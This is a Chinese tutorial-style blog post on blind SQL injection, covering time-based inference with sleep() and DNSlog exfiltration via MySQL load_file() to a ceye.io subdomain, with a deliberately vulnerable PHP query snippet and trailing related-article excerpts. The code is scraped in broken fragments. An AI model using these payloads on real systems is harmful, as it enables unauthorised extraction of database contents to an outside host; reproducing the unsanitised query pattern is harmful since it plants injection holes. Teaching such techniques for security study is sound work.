SQL盲注 時間盲注,dnslog盲注

2021-10-08 10:50:42 字數 1554 閱讀 7882

時間盲注原理

$id=$_get[

'id'];

$sql=

"select * from users where id='$id' limit 0,1"

;$result=

mysql_query

($sql)

;$row =

mysql_fetch_array

($result);if

($row)

else

**存在sql注入漏洞

然而頁面不會回顯資料,也不會回顯錯誤資訊

語句執行後不提示真假,我們不能通過頁面內容進行判斷

這裡我們可以通過構造語句,通過頁面響應的時長

核心語法:if(left(user(),1)=『a』,0,sleep(3));

真實場景: if(ascii(substr(database(),1,1)>115,0,sleep(5))%23

dnslog盲注原理

$id=$_get[

'id'];

$sql=

"select * from users where id='$id' limit 0,1"

;$result=

mysql_query

($sql)

;$row =

mysql_fetch_array

($result);if

($row)

else

**存在sql注入漏洞

然而頁面不會回顯資料,也不會回顯錯誤資訊

我們通過布林盲注或者時間盲注都可以獲取到內容,但是整個過程中效率低,需要傳送很多的請求進行判斷,很可能會觸發安全裝置的防護

我們需要一種方式,減少請求,直接回顯資料,這裡可以使用dnslog實現注入

乙個dnslog平台:ceye.io

dns在解析的時候會留下日誌,通過讀取多級網域名稱的解析日誌,獲取請求資訊

解析日誌會記錄http request和dns query

http request 包括了請求位址的詳情,請求的**位址,方式,ua等

dns query 包括了請求的詳情和**位址。

mysql load_file函式可以發起請求

select load_file(concat(』\\』,『test』,』.mysql.eftf8t.ceye.io\abc』)); -> test.mysql.eftf8t.ceye.io

核心語法

select load_file(concat(』\\』,(select database()),』.mysql.eftf8t.ceye.io\abc』));

通過sql語句查詢內容,作為請求的一部分,傳送至dnslog

只要對這一部分進行構建,就能實現有回顯的sql注入

值得主意的是,這些資料格式和內容都有限制(比如不能使用特殊符號),需要進行一些處理

load_file()只能在windows系統下發起請求

所以只有目標是windows系統時才能使用dnslog注入,在linux下是不能的。

dnslog盲注原理

布林盲注和時間盲注相當於猜單詞的遊戲,我們需要對每一位逐步的猜測,效率很低,需要傳送很多的請求進行判斷,很可能會觸發安全裝置的防護 我們需要一種方式能夠減少請求,直接回顯資料 dnslog注入 dns在解析的時候會留下日誌,通過讀取多級網域名稱的解析日誌,獲取請求資訊 登入 並註冊,得到屬於自己的i...

sql盲注特點 SQL盲注

盲注原理 盲注的分類 盲注常用函式 一 sql盲注概述 1.如果資料庫執行返回結果時只反饋對錯不會返回資料庫中的資訊 此時可以採用邏輯判斷是否正確的盲注來獲取資訊。2.盲注是不能通過直接顯示的途徑來獲取資料庫資料的方法。在盲注中,攻擊者根據其返回頁面的不同來判斷資訊 可能是頁面內容的不同,也可以是響...

SQL時間盲注

時間盲注 存在sql注入漏洞,然而頁面既不會回顯資料,也不會回顯錯誤資訊,語句執行後也不提示真假,我們不能通過頁面的內容來判斷。這裡我們可以通過構造語句,通過頁面響應的時長,來判斷資訊,這既是時間盲注 left m,n 從左向右擷取字串m返回其前n位 substr m,1,1 取字串m的左邊第一位起...